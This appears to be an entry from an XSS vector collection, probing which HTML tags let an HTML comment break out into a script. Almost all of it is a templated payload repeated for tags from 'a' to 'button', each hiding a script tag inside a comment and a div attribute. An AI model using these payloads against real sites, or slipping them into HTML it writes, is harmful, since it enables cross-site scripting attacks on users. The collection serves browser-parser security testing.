143
143
143
144This vector attempts to show which HTML tags support HTML comments.
<$[data1]><!-- </$[data1]> <div id="--><script>log('$[data1]')</script>"></div> --><a><!-- </a> <div id="--><script>alert('a')</script>"></div> --><abbr><!-- </abbr> <div id="--><script>alert('abbr')</script>"></div> --><acronym><!-- </acronym> <div id="--><script>alert('acronym')</script>"></div> --><address><!-- </address> <div id="--><script>alert('address')</script>"></div> --><applet><!-- </applet> <div id="--><script>alert('applet')</script>"></div> --><area><!-- </area> <div id="--><script>alert('area')</script>"></div> --><article><!-- </article> <div id="--><script>alert('article')</script>"></div> --><aside><!-- </aside> <div id="--><script>alert('aside')</script>"></div> --><audio><!-- </audio> <div id="--><script>alert('audio')</script>"></div> --><b><!-- </b> <div id="--><script>alert('b')</script>"></div> --><base><!-- </base> <div id="--><script>alert('base')</script>"></div> --><basefont><!-- </basefont> <div id="--><script>alert('basefont')</script>"></div> --><bdi><!-- </bdi> <div id="--><script>alert('bdi')</script>"></div> --><bdo><!-- </bdo> <div id="--><script>alert('bdo')</script>"></div> --><bgsound><!-- </bgsound> <div id="--><script>alert('bgsound')</script>"></div> --><big><!-- </big> <div id="--><script>alert('big')</script>"></div> --><blockquote><!-- </blockquote> <div id="--><script>alert('blockquote')</script>"></div> --><body><!-- </body> <div id="--><script>alert('body')</script>"></div> --><br><!-- </br> <div id="--><script>alert('br')</script>"></div> --><button><!-- </button> <div id="--><script>alert('button')</script>"></div> -->